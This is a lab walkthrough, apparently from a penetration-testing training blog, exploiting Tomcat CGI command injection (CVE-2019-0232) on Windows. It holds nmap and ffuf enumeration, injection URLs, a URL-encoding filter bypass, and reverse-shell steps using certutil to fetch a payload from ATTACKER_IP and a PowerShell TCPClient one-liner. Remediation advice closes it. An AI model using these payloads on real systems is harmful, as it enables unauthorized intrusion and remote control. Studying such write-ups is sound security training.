Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

Tomcat CGI — CVE-2019-0232

Vulnerability overview

CVE-2019-0232 is a critical remote code execution vulnerability in Apache Tomcat’s CGI Servlet on Windows systems only. It arises from a failure to properly validate input passed to CGI scripts when the enableCmdLineArguments feature is enabled — allowing an attacker to inject OS commands via the query string using the Windows batch command separator &.

DetailValue
CVECVE-2019-0232
SeverityCritical
PlatformWindows only
Affected versions9.0.0.M1–9.0.17, 8.5.0–8.5.39, 7.0.0–7.0.93
RequirementenableCmdLineArguments=true in CGI Servlet config
ImpactUnauthenticated remote code execution

Background — CGI Servlet

The CGI Servlet is a Tomcat component that allows web servers to invoke external programs (CGI scripts) outside the JVM. Scripts are typically written in Perl, Python, Bash, or batch. The servlet receives an HTTP request, runs the corresponding script, and returns its output.

enableCmdLineArguments controls whether the query string is parsed and passed to the CGI script as command-line arguments. When enabled, a request to:

/cgi/script.bat?action=search&query=foo

…causes Tomcat to invoke script.bat with action=search and query=foo as arguments.

The flaw: On Windows, Tomcat failed to sanitize the query string before constructing the command line. Because Windows uses & as a command separator in cmd.exe, an attacker can append arbitrary commands:

/cgi/welcome.bat?&dir

This causes cmd.exe to run welcome.bat and then dir.


Enumeration

1. Identify Tomcat version with Nmap

nmap -p- -sC -Pn 10.129.204.227 --open

Key findings from output:

8009/tcp  open  ajp13
8080/tcp  open  http-proxy  Apache Tomcat/9.0.17

Tomcat 9.0.17 on port 8080 falls within the affected version range. Port 8009 (AJP) also present.

2. Find CGI scripts with ffuf

The default CGI directory in Tomcat is /cgi. Fuzz for both .cmd and .bat extensions on Windows targets.

Fuzz for .cmd files:

ffuf -w /usr/share/dirb/wordlists/common.txt \
     -u http://10.129.204.227:8080/cgi/FUZZ.cmd

Fuzz for .bat files:

ffuf -w /usr/share/dirb/wordlists/common.txt \
     -u http://10.129.204.227:8080/cgi/FUZZ.bat

A 200 response on welcome confirms the script exists:

[Status: 200, Size: 81, Words: 14, Lines: 2, Duration: 234ms]
    * FUZZ: welcome

Browsing to http://10.129.204.227:8080/cgi/welcome.bat:

Welcome to CGI, this section is not functional yet. Please return to home page.

Exploitation

Step 1 — Confirm command injection

Append &dir via the query string using the & batch separator:

http://10.129.204.227:8080/cgi/welcome.bat?&dir

If directory listing output is returned, command injection is confirmed.

Step 2 — Enumerate environment variables

Run set to retrieve all CGI environment variables. This reveals critical details — particularly whether PATH is set:

http://10.129.204.227:8080/cgi/welcome.bat?&set

Key variables from the output:

VariableValue / Significance
COMSPECC:\Windows\system32\cmd.exe — the shell being used
PATHEXT.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC
PATHUnset — executables must be referenced by full path
SCRIPT_FILENAMEFull path to the CGI script on disk
REMOTE_ADDRAttacker’s IP as seen by the server

Key finding: PATH is unset in the CGI environment. All commands must be invoked with their full path (e.g., C:\Windows\System32\whoami.exe).

Step 3 — Execute commands with full path

http://10.129.204.227:8080/cgi/welcome.bat?&c:\windows\system32\whoami.exe

This will trigger Tomcat’s input validation filter which blocks special characters (including backslashes and colons) using a regex patch.

Step 4 — Bypass the filter with URL encoding

URL-encode the payload to bypass the character filter:

CharacterURL-encoded
:%3A
\%5C
http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe

This returns the output of whoami, confirming unauthenticated RCE.

URL encoding reference for common characters

CharacterEncoded
:%3A
\%5C
/%2F
(space)%20 or +
&%26
=%3D

Escalating to a reverse shell

With confirmed RCE, use certutil or powershell (both with full paths) to download and execute a reverse shell:

# Download a payload via certutil
http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Ccertutil.exe+-urlcache+-f+http%3A%2F%2FATTACKER_IP%2Fshell.exe+C%3A%5CWindows%5CTemp%5Cshell.exe

# Execute the downloaded payload
http://10.129.204.227:8080/cgi/welcome.bat?&C%3A%5CWindows%5CTemp%5Cshell.exe

Or invoke PowerShell directly for a one-liner reverse shell:

http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5CWindowsPowerShell%5Cv1.0%5Cpowershell.exe+-nop+-w+hidden+-c+"$c=New-Object+Net.Sockets.TCPClient('ATTACKER_IP',443)..."

Remediation

  • Upgrade to Tomcat 9.0.18+, 8.5.40+, or 7.0.94+
  • Set enableCmdLineArguments=false in the CGI Servlet configuration (web.xml)
  • Disable the CGI Servlet entirely if not required
  • Avoid running Tomcat on Windows where possible

Summary

StepAction
1Identify Tomcat version ≤ 9.0.17 / 8.5.39 / 7.0.93 on Windows via Nmap
2Fuzz /cgi/ for .bat and .cmd scripts with ffuf
3Confirm injection with ?&dir
4Enumerate environment with ?&set — note that PATH is unset
5Execute commands using full paths (c:\windows\system32\whoami.exe)
6URL-encode the payload to bypass the character filter
7Escalate to reverse shell via certutil download or PowerShell one-liner